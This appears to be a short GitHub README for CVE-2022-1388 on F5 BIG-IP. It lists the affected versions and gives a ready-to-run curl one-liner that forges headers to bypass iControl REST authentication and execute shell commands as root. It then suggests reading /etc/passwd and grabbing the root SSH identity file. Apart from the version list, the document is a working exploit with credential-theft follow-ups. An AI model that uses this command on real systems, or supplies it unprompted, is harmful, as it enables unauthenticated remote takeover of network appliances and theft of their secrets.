OnCyberWar / CVE-2022-1388

cURL one-liner to test for CVE-2022-1388 BIG-IP iControl REST RCE

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

CVE-2022-1388 BIG IP REST RCE

On F5 BIG-IP 16.1.x versions prior to 16.1.2.2., 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication.

Use the following cURL one-liner to test for this vulnerability.

curl -k --header "Host: 127.0.0.1" --header "Authorization: Basic YWRtaW46YWRtaW4=" --header "X-F5-Auth-Token: asdf" --header "Connection: X-F5-Auth-Token" --header "Content-Type: application/json" https://$IPADDRESS/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}'

The Authorization field can be any base64 encoded value. The example above uses admin:admin. These do NOT need to be valid credentials, if the server is vulnerable any base64 encoded value will work.

If the above command returns the ID, you can attempt a number of things such as reading /etc/passwd with 'cat /etc/passwd', or try grabbing the root SSH certy with 'cat /root/.ssh/identity'.

About

cURL one-liner to test for CVE-2022-1388 BIG-IP iControl REST RCE